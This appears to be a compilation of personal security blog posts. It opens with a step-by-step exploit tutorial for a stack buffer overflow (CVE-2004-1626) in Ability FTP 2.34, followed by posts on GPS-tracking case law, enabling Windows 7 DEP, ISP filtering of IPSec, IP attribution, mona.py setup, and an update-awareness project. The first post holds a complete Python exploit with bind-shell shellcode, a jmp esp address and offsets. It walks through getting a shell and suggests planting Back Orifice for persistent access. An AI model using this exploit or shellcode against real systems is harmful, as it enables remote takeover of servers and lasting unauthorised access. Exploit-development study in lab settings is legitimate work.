Ability FTP 2.34 Stack-based Buffer Overflow

Let’s try exploiting a known vulnerability in Ability FTP 2.34.  This is a File Transfer Protocol Server program made by code-crafters.com.  Let’s take a look at the cve (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1626).  Here’s the description of the vulnerability in the software.

Buffer overflow in Ability Server 2.34, and possibly other versions, allows remote attackers to execute arbitrary code via a long STOR command.

This is an extremely accurate CVE.  Most CVE’s do not contain specifics on how the attack works, just that one exists.  Here they even tell us what command we need to fuzz.

Open up a windows XP box.  For this example I will be using Win XP Professional version 2002 Service Pack 3.  Unless you are comfortable computing the offsets and other things yourself, you need this version.

Open up Ability FTP 2.34.  You can close the initial screen that pops up to reveal the main window.  Activate the FTP server.  You should now have something like this:

Now that we’ve got Ability FTP running, let’s attach Immunity Debugger.  This will enable us to freeze the program when it crashes.  Doing so enables us to see the state of the machine when things went sour.  Mainly, what we are going to look for is the reason why execution halted, along with what memory looks like.  Usually, the reason execution halts is EIP has been overwritten and the new address it contains no longer points to an executable instruction.  The second most common type of buffer overflow on windows is an SEH overwrite, which is the topic of another tutorial.  I would highly suggest mastering EIP overwrites before trying to understand conceptually SEH overwrites.  The reason we need to examine memory is to find where our buffer has been stored, and what parts of the data we sent remained intact in memory.  We need to know if any of the buffer we send gets mangled because if it does, we cannot put our payload at this particular location.

Go to File > Attach, and select the Ability FTP Server process from the list.  You should be able to find it easily by the ‘listening’ column which shows the ports associated with each process.  Although be warned that I’ve seen Immunity Debugger mess this up on windows 7, so don’t be concerned if you go to find an FTP server process and it doesn’t appear to be listening according to Immunity.  It’s probably a mistake, or the connection is currently idle.

Click the attach button once you’ve selected the correct process.  When you load up a program in Immunity, the program gets loaded into memory but execution does not begin immediately.  Immunity Debugger will wait for the user to start the program.  If you’ve ever debugged software, you should be familiar with debugging breakpoints, single-stepping, step-into, step-over, etc.  If you are not, I’d highly suggest checking out a basic debugging tutorial before going any further  (Bonus points: write your own debugger).   Go ahead and run the program, which you can do with the ‘play’ button along the top bar, or press F9.

At [1], you can confirm the debugger has paused the process.  This will change to ‘Running’ once you click [2]. After you run the debugger, you can connect to ability ftp from remote hosts while actively debugging it.

Now that our target is set up, let’s go over to backtrack linux and write some python.

The first thing you want to do is use /opt/framework/msf3/tools/pattern_create.rb to build a nice patter to use as our fuzz string.  I usually hard code these long patters into my python files.  I’ve run into problems with the clipboard copy/paste functionality of linux using a buffer smaller than the pattern I want to copy, which is an easy error to not notice and can be one hell of a debugging session. pattern_create.rb can be run from the command line, as follows

ruby pattern_create.rb 1900

This will spit out a pattern that you can paste right into your python code.  Python strings are weird, make sure it’s all on a single line, enclosed by quotes.

<code>#!/bin/python
import socket, sys
# non-magic numbers (conveniently configurable shit)
garbage_needed = 965
sled_size = 20
garbage = '\x41' * garbage_needed
nop_sled = '\x90' * sled_size
#buff = '\x41' * 965 + jmp_esp + nop_sled * 8 + payload
buff = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu"
if (len(sys.argv) != 1) & (len(sys.argv) != 2):
 print "\n\nUsage : python exploit_pattern.py <pattern>"
 print "For extra verbosity, use: python exploit_pattern.py -v"
 print "Quitting...\n\n"
 exit(1);
verbose = 0
if len(sys.argv) == 2:
 verbose = 1
# FTP commands to fuzz
cmds = ["STOR"]
# Run the fuzzing loop
if verbose:
 print "[*] done building buffer. Just need to connect now.."
for command in cmds:
 if verbose:
 print "\n[*] Sending command " + command + " with " + str(len(buff)) + " bytes."
 print "\n[*] command is: " + command + " " + buff
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 connect = s.connect(('192.168.194.130', 21)) # Hardcoded IP address
 s.recv(1024)
 s.send('USER ftp\r\n')
 s.recv(1024)
 s.send('PASS ftp\r\n')
 s.recv(1024)
 s.send(command + ' ' + buff + '\r\n')
 s.recv(1024)
 s.send('QUIT\r\n')
 s.close()
# EOF
</code>

This code allows for a flag on the command line to specify extra verbosity.  We use it by appending “-v” to the command line.  This will be our first pass through the vulnerability.  Everytime we go through the crash, we will have a few goals.  For the first pass, we need to figure out which bytes from our long pattern string are being placed into EIP.  This will enable us next time to have what is commonly referred to as control over EIP. The ability to set EIP to any value that we’d like gives us the ability to run code of our choice.  In essence, this is the exploit.  We will also take a look at memory and look for our pattern.  Typical windows shellcode payloads are 300-400 bytes.  If we are required to use an alphanumeric payload (happens when our input to the program is limited to [a-z, A-Z, 0-9]), our shellcode could double in size. In summary, after the crash we must identify:

• the value of EIP
• locations in memory where our buffer is stored.

Make sure Immunity is attached to ability ftp, and run the python script.

Now, what the hell just happened?  If you’re using two virtual machines on the same host, the answer to that question: a whole lot.  The attacker’s python script seems to be hanging.  This is not necessarily bad, when you think about what we just did.  Our goal was to crash the server on the other end, so what else would you expect to happen upon success?  All is well, and we can press ^C ( which is linux bash notation for <CTRL + C>) to send an interrupt to the process.  This is what the attacker would see at this point:

What’s more interesting is what has just happened in the victim’s perspective.  Right click on the value of ESP and select ‘follow in dump’.  Now, there’s a lot of information for us here.  We need to take the time to understand a lot of stuff. Let’s see what we’ve got:

1. EIP, the Instruction Pointer register, is now pointing to the value 0x67423167.  If we add spaces between the bytes, it is 67 42 31 67.  When these bytes go over the wire (across the network), they are transmitted in network byte-order (NBO).  In essence, network byte-order means the endianness of the value has been flipped, so if it started on our linux (i386) machine as little-endian, it is now in big-endian.  This will prove to be a small annoyance to your exploit development work.  I’ve learned to appreciate it as compared to other reasons why shellcode tends to fail, this one is particularly easy to diagnose and fix.  So for our EIP value, we need to reverse the byte order*** before we can convert the characters to ascii.  The 67’s will stay the same after swapping them, but the 42 and 31 will modify our value when flipped because they are not equal.  The converted value is 67 31 42 67, or 0x67314267.  67 is ‘g’, 42 is ‘B’, and 31 is ‘1’.  We can compute the position into the offset by finding the string ‘g1Bg’ in our patter, and counting how many characters are before it.  Luckily, this whole diversion is unnecessary because metasploit’s pattern_offset.rb tool will do the whole conversion for us.  However, an understanding of the problem here is crucial to successful exploit development, and will prove to be extremely useful when writing exploits. pattern_offset.rb’s usage is similar to pattern_create.rb except the parameter should be the value, so in our case we run `ruby pattern_offset.rb 67423167′.  The output is 964.  If we place an address 964 bytes into our buffer (make sure to take into account the network byte order conversion!!), after the overflow occurs, EIP will try to execute the instruction at the address we’ve just defined.
2. ESP, the stack pointer register, has been overwritten as well.  This will be very us.  We have the ability to modify EIP and store arbitrary code in memory are great, but we need some sort of pivot to catapult us from the crash state into the payload.  The technique we will use is called an indirect jump.  We will find an address somewhere inside of our process’ virtual memory space which stores the instruction ‘jmp %esp’, and hardcode it into our buffer[964].  If you aren’t familiar with array notation, this is the 965th byte. We also want to check the location of the value stored in ESP, so that using the ‘jmp %esp’ instruction executes our shellcode.  See the image below, and make sure that you understand it.  If you understand the layout of this beastly string, you understand this exploit.
3. To get your hex dump window to look like mine, right click the value of esp in the registers window and select ‘follow in dump’.  This will show the location esp is pointing to in hexidecimal format.  (You can see in the registers window that since ESP points to a string, it tells us this and shows us the start of the string, a good thing to look for when examining a fresh crash.)  What I’m pointing out with (3) is that part of our buffer does indeed get mangled, so starting from EIP, we have limited space.  b850 – b6b8 = 198 (which is 408 in decimal, enough space for our purposes).

***NOTE: You need to reverse the byte order, NOT the bit order.  To do this conversion manually, split the input value into byte size chunks [as I did in (1)] and reverse the order of those.  do not write out the full binary and reverse the bit ordering, this will be a completely different value.

The next step is to save off some of this information incase we need it later.  If you right click in the registers window, you will notice an option to save all registers to clipboard.  Do that, and then save off the hex dump information where ever you can find the pattern.

Now we’re going to build this string and try sending it to ability ftp.  The nopsled instructions are ‘no operation’ instructions, which can be executed and have no effect on the registers.  If we weren’t sure exactly where ESP was pointing, we could jump somewhere into a nopsled and this would give us a little bit of space for error.

The first thing we need to do is find a jmp esp instruction.  I happen to know one exists inside of user32.dll, so we’ll look for it there.  Restart ability ftp, attach your debugger, and run the program.  Click on the ‘e’ in the top menu for the executable modules window, and find user32.dll.  Right click in the disassembly window, select search for  > command as shown below:

put ‘jmp esp’ into the box that pops up and press search.  You should see a ‘jmp esp’ instruction, and it should be the first line in the disassembly window.  Right click on the address and copy this line to clipboard.  I usually paste this line into my exploit as a comment so that I don’t forget what the indirect jump instruction does:

In my screenshot, you cannot see that the instruction actually is a ‘jmp esp’, and you should make sure Immunity understood you and didn’t make any mistakes.  Confirm that the instruction it found is ‘jmp esp’, and copy it.  Remember to put this into your python exploit in network byte-order so when it goes over the wire it ends up being little-endian again.

The exploit so far should look something like this:

#!/bin/python
import socket, sys
# non-magic numbers (conveniently configurable shit)
garbage_needed = 965
sled_size = 20
garbage = '\x41' * garbage_needed
nopsled = '\x90' * sled_size
#buff = '\x41' * 965 + jmp_esp + nop_sled * 8 + payload
# 7E 42 93 53 FFE4 JMP ESP
jmp_esp = "\x53\x93\x42\x7e"
# windows tcp bind shell payload from msfpayload
# to use: buffer = '\x41' * 965 + jmp_esp + nop_sled * 8 + payload
payload = "\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46\xa0\x3d\x9f\x83\xeb\xfc\xe2\xf4\xba\xca\xd6\xd2\xae\x59\xc2\x60\xb9\xc0\xb6\xf3\x62\x84\xb6\xda\x7a\x2b\x41\x9a\x3e\xa1\xd2\x14\x09\xb8\xb6\xc0\x66\xa1\xd6\xd6\xcd\x94\xb6\x9e\xa8\x91\xfd\x06\xea\x24\xfd\xeb\x41\x61\xf7\x92\x47\x62\xd6\x6b\x7d\xf4\x19\xb7\x33\x45\xb6\xc0\x62\xa1\xd6\xf9\xcd\xac\x76\x14\x19\xbc\x3c\x74\x45\x8c\xb6\x16\x2a\x84\x21\xfe\x85\x91\xe6\xfb\xcd\xe3\x0d\x14\x06\xac\xb6\xef\x5a\x0d\xb6\xdf\x4e\xfe\x55\x11\x08\xae\xd1\xcf\xb9\x76\x5b\xcc\x20\xc8\x0e\xad\x2e\xd7\x4e\xad\x19\xf4\xc2\x4f\x2e\x6b\xd0\x63\x7d\xf0\xc2\x49\x19\x29\xd8\xf9\xc7\x4d\x35\x9d\x13\xca\x3f\x60\x96\xc8\xe4\x96\xb3\x0d\x6a\x60\x90\xf3\x6e\xcc\x15\xf3\x7e\xcc\x05\xf3\xc2\x4f\x20\xc8\x2c\xc3\x20\xf3\xb4\x7e\xd3\xc8\x99\x85\x36\x67\x6a\x60\x90\xca\x2d\xce\x13\x5f\xed\xf7\xe2\x0d\x13\x76\x11\x5f\xeb\xcc\x13\x5f\xed\xf7\xa3\xe9\xbb\xd6\x11\x5f\xeb\xcf\x12\xf4\x68\x60\x96\x33\x55\x78\x3f\x66\x44\xc8\xb9\x76\x68\x60\x96\xc6\x57\xfb\x20\xc8\x5e\xf2\xcf\x45\x57\xcf\x1f\x89\xf1\x16\xa1\xca\x79\x16\xa4\x91\xfd\x6c\xec\x5e\x7f\xb2\xb8\xe2\x11\x0c\xcb\xda\x05\x34\xed\x0b\x55\xed\xb8\x13\x2b\x60\x33\xe4\xc2\x49\x1d\xf7\x6f\xce\x17\xf1\x57\x9e\x17\xf1\x68\xce\xb9\x70\x55\x32\x9f\xa5\xf3\xcc\xb9\x76\x57\x60\xb9\x97\xc2\x4f\xcd\xf7\xc1\x1c\x82\xc4\xc2\x49\x14\x5f\xed\xf7\xb6\x2a\x39\xc0\x15\x5f\xeb\x60\x96\xa0\x3d\x9f"
buff = '\x41' * 964 + jmp_esp + nopsled + payload + '\x42' * 400
if (len(sys.argv) != 1) & (len(sys.argv) != 2):
 print "\n\nUsage : python exploit_pattern.py <pattern>"
 print "For extra verbosity, use: python exploit_pattern.py -v"
 print "Quitting...\n\n"
 exit(1);
verbose = 0
if len(sys.argv) == 2:
 verbose = 1
# FTP commands to fuzz
cmds = ["STOR"]
# Run the fuzzing loop
if verbose:
 print "[*] done building buffer. Just need to connect now.."
for command in cmds:
 if verbose:
 print "\n[*] Sending command " + command + " with " + str(len(buff)) + " bytes."
 print "\n[*] command is: " + command + " " + buff
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 connect = s.connect(('192.168.194.130', 21)) # Hardcoded IP address
 s.recv(1024)
 s.send('USER ftp\r\n')
 s.recv(1024)
 s.send('PASS ftp\r\n')
 s.recv(1024)
 s.send(command + ' ' + buff + '\r\n')
 s.recv(1024)
 s.send('QUIT\r\n')
 s.close()
# EOF

Let’s give this exploit a try.  The payload was generated using msfpayload and is a windows tcp portbind 4444 payload.  However, I recommend never taking anyone’s word for what shellcode contains and you should use metasploit to generate your own payload since you shouldn’t trust me as some random exploit developer.  The only bad character I’m aware of in this vulnerability is 0x00, which would null terminate our buffer if contained in it.  You can use the following command to check if a port is open on windows rather quickly:

netstat -an |find “4444”

if we were looking for connections on the port ‘4444’.  Take a look at these two commands I ran as I’m getting ready to run my exploit.  First, I confirm that the ftp server is up and listening on port 21, then I confirm there isn’t already a listener on ‘4444’.  If there were already some other process, we would need to use a different port for our bindshell.

We are ready to go.  Send the exploit.  After doing so, you can either check cmd.exe again with the netstat command to look for a listener on port 4444, or you can do it the exciting way and just try to connect to the XP machine from the attacker using netcat.  You can see when we connect to port 4444 with netcat now, we get our reverse shell:

This is essentially game over.  We can now transfer files to the host and use the account the ftp server was running as (was Admin in my case), execute files, add user accounts, steal passwords, etc.  As you can see from the screenshot below, the bindshell will interact with us just like a normal local bash shell:

Now it’s just a matter of uploading back orifice or some other back door for windows and we will have continuous access to the system, not just whenever the ftp server is running.

US versus Cuevas-Perez

This case ultimately comes down to a disagreement about the fourth amendment to the US Constitution. According to wikipedia, the fourth amendment “guards against unreasonable searches and seizures, along with requiring any warrant to be judicially sanctioned and supported by probable cause” (Wikipedia, [1]).  A Phoenix detective placed a GPS device onto a Mr. Cuevas-Perez’s jeep, who he suspected was selling drugs.  The detective had no search warrant when he placed the small subtle device on the car, which is the crux of the case.  I find this to be incredibly interesting.  Mr. Cuevas-Perez admits to driving from Arizona to Illonois with “9 packages” of heroin.  But Mr. Cuevas-Perez thinks that the police did not have the right to search his vehicle when they found the drugs, and therefore anything they found while they were searching it cannot be used against him in a court of law.

 

The persecutory allegations are that the use of a GPS tracking device is not considered a “search” or “seizure”.  The reason why this is tricky is because GPS devices didn’t exist when these laws were created.  The defense the police give for this claim is that it’s more akin to a substitute to following the subject from another vehicle, something that is very legal and not in violation of the US Constitution.

 

An interesting case that pertains to this dispute was US versus Maynard, in which the court decided that using a GPS device for a substantial length of time (in this particular case it had been used for 28 days straight) could be considered a search as it would make one’s daily routine and habits transparent.  I fail to see how a prolonged period of time makes any difference.  At least from the movies I’ve seen in modern days, cops do extended stakeouts regularly in which they survey subjects for days on end waiting for them to make a move.  It is also very clear that in the case of Mr. Cuevas-Perez, they weren’t observing any trends, so it’s hard to use this case as an argument in Mr. Cuevas-Perez’s defense.

 

Mr. Cuevas-Perez also notes that his rights were more violated than previous GPS related fourth amendment cases since the GPS device used to track his location was capable of transmitting the results in real-time back to the operator, rather than having to be retrieved as did those in past cases.

 

Touching up Windows 7 Security — How to change Windows 7 DEP policy with CMD.exe

I installed Windows 7 inside vmware a few days ago, as I was interested in exploring the security mechanisms that it employs and to evaluate it’s security.

The Windows 7 Operating System is fully capable of ASLR (Address Space Layout Randomization).  What this essentially means is each time a process starts up and it loads all of it’s required modules into the process’ newly initialized Virtual Address Space, we try to make it as difficult as possible to reliably determine the base address of these modules.  Among the most important modules to hackers are kernel32.dll (gives hackers access to LoadLibraryA() which loads any DLL they’d like into the process address space in addition to GetProcAddress(), which hackers commonly use to find function bases inside loaded modules), ws2_32.dll (from which attackers can access sockets, connect(), open(), and accept()).  Once an attacker has found a vulnerability, it’s a simple matter of looking at the memory layout at the time of crash and identifying the addresses of these two modules.  Another method of protection against software exploits is the N^X bit which is now built into modern Intel and AMD CPUs.  This method of security is known as Data Execution Prevention, and is based on the premise that since buffer overflows occur in user data, if we prevent the CPU from trying to execute instructions on a per page basis, we might mitigate arbitrary execution of code.  The implementation of DEP is done at the hardware level and uses up a single bit on every single page in memory (assuming DEP is enabled for all running processes).  This bit is either set to (W)rite xor e(X)ecute, but strictly not both.  Every time the cpu executes a set of instructions from a page, it checks this bit first, and will throw an exception if you are trying to execute a writable data page.

For some unfortunate reason, there are four possible modes of operation for DEP on Windows 7: OptIn, OptOut, AlwaysOff, and AlwaysOn.  Win7 by default uses the OptIn policy, which means that programs must voluntarily specify they want DEP enabled.  For any developers writing windows software unaware of the inherent vulnerabilities in some programs such as C stack-based buffer overflows, the concept of data execution prevention may or may not be something they know about.  So, how do we go about changing a windows 7 machine’s DEP policy? We can execute the bcdedit.exe program from the command line however you must be running as a system level account like the Administrator or System.  Let’s open a command prompt, run bcdedit.exe and examine the output:

As you can see, the default policy is OptIn.  This means that the policy is per application, and each application must “opt in”.  I was both surprised and dismayed to learn that this is the default behavior of Windows 7.  Let’s go ahead and change this policy to force DEP when possible.  To do this, we can set the policy to “AlwaysOn” at the command line by typing:

bcdedit.exe /set nx AlwaysOn

As you can see in the above screenshot, we have successfully changed our Data Execution Prevention Policy.  You must restart your computer for these changes to take effect, since they are set up as part of your boot initializer.

IPSec & ISP filtering

If a country wants to stop either all citizens or a specific individual from being able to communicate using IPSec, I think a good place for them to start would be the ISPs.  Since ISPs by nature of the service they provide have access to the inbound and outbound traffic their clients are generating, working with them would give a government the means to stop its citizens from using IPSec to securely communicate internationally.

Since the ISPs are responsible for finding the best route for your data and delivering your data to those routes, they can spy on inbound and outbound traffic, and simply choose not to send packets they don’t want to.  The ability to modify your data in transit is a corollary to their ability to sniff and drop your traffic.

It is not very difficult for an ISP to set up some sort of rule-based filtering restrictions on traffic, and I would not be surprised to learn that most ISPs these days already have systems like this in place which can operate on multiple sets of complex dynamic rules.

In the case of IPSec, both tunnel mode and transport mode require a visible IPSec header.  Routers that receive the packet must be able to determine what to do with it even if it is not for them.  This means the IPSec header will be plain text readable by the ISPs, and a good starting point for building a rule to filter out IPSec traffic.

Yahoo vs French Gov’t Response

I do not think that we can use an IP address to individually identify a person, particularly in a legal persecutory context like that of the Yahoo v. France  case.

One issue is the introduction of protocols like 802.1x which are now used for wireless transmissions between computer systems.  Even though theoretically you could’ve sat inside France inches away from border and set up your box (containing a CPU, memory, hard disk and network card) in Germany, and use extension cables to use a monitor and keyboard a few feet away in France, this was very unrealistic for someone to actually do.  Wireless network devices take this scenario a step to a new level of reality in that you can actually be roaming a much further distance from your Access Point, and not physically connected to it.    This means you could be Standing inside Germany a number of yards away from the border and be connected to a wireless access point in France.  One could even use a wifi network across boarders by accident. And if you’re so inclined,  you can use something like a bi-directional parabolic antenna (14-20 dBi), you can be over a mile away from your access point.  Before the introduction of wifi and WANs, back when every computer on the internet was physically connected to it via ethernet or some similar medium, I feel it was much more fair and realistic to try to tie an IP to a human in a legal context.  Remember, we must be certain beyond reasonable doubt to convict.

Another problem with the complexity of our current infrastructure is a completely different subset of protocols / services which are essentially now universally used in consumer market products.  Protocols like DHCP which attempt to connect a computer to a network without their help, make tying an IP to a human much harder.  These systems make it so that every time you boot up your computer you will potentially receive a new IP address.  Even though there are methods of getting a reliable IP across boots (such as DHCP Reservation), these are not things that most users know about or have any reason to want.  I have DHCP Reservation disabled on my router.  I love DHCP and the ease-of-use it provides me on a day to day basis, I do not mean to sound critical of the protocol.  It is merely a good example for the argument against linking an IP address to a human being, or filtering content by looking up the country inside a whois record for every incoming connection.  Back when it was much more common for a computer to be configured to use a fixed static IP address, I feel it was much more fair and realistic to try to tie an IP to a human in a legal context.

The third issue is proxies, and other similar services which mask the IP address of the user.  However, these are things that people must consciously commit.  Accidentally connecting through a (foreign) proxy is not a common problem among people who haven’t configured their computers to use a proxy.  In this respect, I don’t feel that this adds much to my argument, but I still feel it’s an important aspect of this discussion.

Win32 Exploitation with mona.py – Part II (Configuration and Basics)

Now that you’ve got a clean up-to-date instance of Immunity Debugger with mona.py, there are a few options that need to be configured.

Mona uses the concept of a working directory to write it’s output files.  Essentially everything that mona.py does gets written to output log files.  Inside of the working directory mona will create a directory for each process it debugs.  When we specify our working directory, we can use the two format specifiers %p and %i to tell mona to use the process name and pid inside the name respectively.  Since mona is creating folders and files, the Immunity Debugger process must have r/w access to the directory you give it.  Unless you’ve done strange things to your windows install, you needn’t worry about this issue.

Here’s how I’ve set up mona’s working directory on my machine:

!mona config -set workingfolder c:\monalogs\%p_%i

and set yourself as the author.  This will be used when you ask mona to create metasploit exploit / script skeletons.

!mona config -set author bsmartt

Here’s how mona should have responded:

fig. 2-1

Now, if you are like me and running vmware, we need to let mona know about this.  Mona does a lot of complex memory analysis in which is parses different modules loaded into memory looking for things that may be useful to us.  Since we want our exploits to be as universal as possible, we will need to not use anything from VMWare.  If you explore c:\program files\VMWare\VMWare Tools\, you will notice that there are multiple dlls inside of a few different folders.  The dll files that are inside the root directory of VMWare Tools share the name of common windows dll files, which are to be used instead of the windows common files.  We cannot exclude all of these from Mona due to possible overlap.  If you are unsure, you can always google it to see if it belongs to windows or vmware (the modules VMToolsHook.dll and vmtools.dll can be excluded, as is obvious by their name).  Starting with c:\Program Files\VMWare\VMWare Tools\win32\, we find two dll files, and upon searching google find out that they are not names of windows common dlls.  We can use the -set command to create the list of excluded modules and add a few to it.   From then on, we will use the -add command to add to the list.  It is important to get into the habit of checking the log windows while interacting with mona to ensure that you don’t make a mistake.

!mona config -set excluded_modules “vmGuestLibJava.dll,vmGuestLib.dll”

Now, lets go to a different folder, plugins.  It contains a few subfolders, lets pick ..\VMWare Tools\plugins\common\ and add these modules to the list:

!mona config -add excluded_modules “hgfsServer.dll,hgfsUsability.dll,thinprint.dll,vix.dll”

When you use the -add excluded_modules command, mona will show you what the list looks like before, what you’re attempting to add to it, and what it looks like after.  I highly recommend checking all of this output to make sure you didn’t make an error.  I added modules from the following folders to my excluded list:

c:\Program Files\VMWare\VMWare Tools\plugins\vmsvc\

c:\Program Files\VMWare\VMWare Tools\plugins\vmusr\

c:\Program Files\VMWare\VMWare Tools\Drivers\hgfs\

I recommend adding modules in small groups.  Immunity’s doesn’t fully support line wrapping, and it may start to get very confusing when you cant tell which modules got added and which didn’t.

I urge you to take the time to think about your windows machine.  What services are you running that you can’t assume other are as well?  One other that I have on my windows XP box is cygwin, which certainly can’t be assumed to be on every computer.

To end this tutorial, we will open the help menu:

!mona help

fig. 2-2

Inside the orange box you can see a list of all the commands mona knows.  For example, to get further help about seh, we can type:

!mona help seh

You now know how to fully learn mona on your own.  In the next part of this tutorial, we will see mona in action.

 

 

Knowledge of how to exploit the Windows Structured Exception Handler will be required for the next section: https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/

Win32 Exploitation with mona.py – Getting Set Up (Part I)

If you have experience with exploitation on unix/linux machines, you will be familiar with exploit payloads (shellcode) that do little more than make a syscall to execve(), or a similar function.  Unfortunately, we have no such luck with windows.  The reason is the system call specification is not consistent across versions and service packs. For example, if you develop an exploit for MyExploitableApp v3.0.1 on windows xp service pack 2 which makes a call to execve(), when run on windows xp sp 3 might make a call to exit().  This kind of unreliability makes the windows system call interface much less useful for exploit development.

However, windows boxes are everywhere, and understanding windows exploitation is absolutely a requirement for a well-rounded exploit developer.  The aim of this post is not to teach you about how windows exploitation works.  That is a topic which has been well covered by authors much more competent than myself.

So, what is this article about?  This article is about mona.py (hereon referred to as “mona”).  Mona is a PyCommand (think extension) for Immunity Debugger.  It is an amazing tool written by the guys over at corelan.be, and the download links are here (This is a link to the downloads page, I suggest you get the latest stable release.  At the time of writing, this is version 1.1).

You should use this article to help yourself with mona.py as you learn to write exploits on windows.  You will be much better off integrating the functionality of mona.py into your exploit development toolkit from the get-go, rather than trying to learn it later.  Mona is extremely robust compared to most plug-ins, and it’s feature list can be overwhelming at first.  Mona also requires a small amount of configuration before you can start using it.  These are the kind of things I’d like to talk about in this post, as well as stepping through a real-world example.

If you are having trouble understanding why modules like this are helpful, don’t worry.  I had trouble too.   Generally speaking, exploitation deals with large regions of memory, lots of hexadecimal data.  As exploit developers, we are looking for tiny little details and flaws in this information.  We are better off trying to automate the process, since human error rates are high when dealing with binary and hex.  Mona can scan data for patterns much faster and more accurately than we can.  Mona can even build rop structures.

After you’ve downloaded and installed Immunity Debugger, move mona.py over to C:\program files\Immunity Inc\Immunity Debugger\PyCommands\ directory.  Open Immunity Debugger.

Get in the habit of keeping mona up to date when opening up Immunity Debugger.  Since this is an exploit writing tutorial, I will assume you understand the risks of running outdated software. To do this, run the following command:

!mona update

By default, this command uses HTTP Secure.  If you are having difficulties with https communication you can force an http request with the following:

!mona update -t http

You can also switch between the stable (release) and unstable (trunk) packages with the following commands:

!mona update -t release

!mona update -t trunk

Below you can see how I set up the windows in Immunity.  We are going to need the log screen quite often.  Mona outputs to files, but the logs will help us along the way.  I put it right below the CPU window.  The two windows are highlighted below.  As you can see in (1), mona.py is working properly inside Immunity Debugger, and this is how we can interact with it.

mona.py update has been run (1)

The next piece of this tutorial will cover mona’s initial configuration.  It is a quick process, but a deep understanding of what you are doing is extremely important.  The last thing you want is for a misconfigured mona.py to overwrite a file containing a recently found return address / pop pop ret.

Additional Links:

Immunity Debugger: http://immunityinc.com/products-immdbg.shtml

Corelan homepage: http://corelan.be

Corelan Mona project: http://redmine.corelan.be/projects/mona

Corelan unabridged Mona manual: https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

Programming Project Update

Website structure is up and running.  I’ve added multiple pages now and made the links between all the different pages. Updated a few with some content (not my digital divide content, just personal stuff exploit related).  I am having trouble getting my layout to look the way I want it to, but it’s getting there.  Site title added w/ icon (from tango icon set, licensed under GPLv3, as are all other icons that I’ve used throughout my website).

I still need to do some research for the digital divide content.  I plan to do this probably during my 3-day break from computers next week.  I plan to set up with some paper and pencils in the cafeteria and either conduct very very brief interviews among as diverse of a crowd as I can manage, or conduct written interviews containing a short list of either short answer / multiple choice questions.

Some of the things I am interested in researching are do you update your computer on your own accord? do you update your computer when it prompts you to do so?  Do you think keeping your software up to date is important? Which operating system are you using? Which web browser?

I won’t know exactly until I start talking to people and I find out what is working out the best.  Then, from this data I am going to address the importance of keeping a computer up to date, go over _HOW_ you keep your computer up to date, as well as some key ideas like the importance of your web browser, and OS updates, and how critical they are.

Programming Project Proposal

For my programming project, I would like to make a site that helps to educate people on the importance of updates.  Things I’m considering talking about are Microsoft Patch Tuesday / Exploit Wednesday, Windows automatic updates / Mac App store, etc.

 
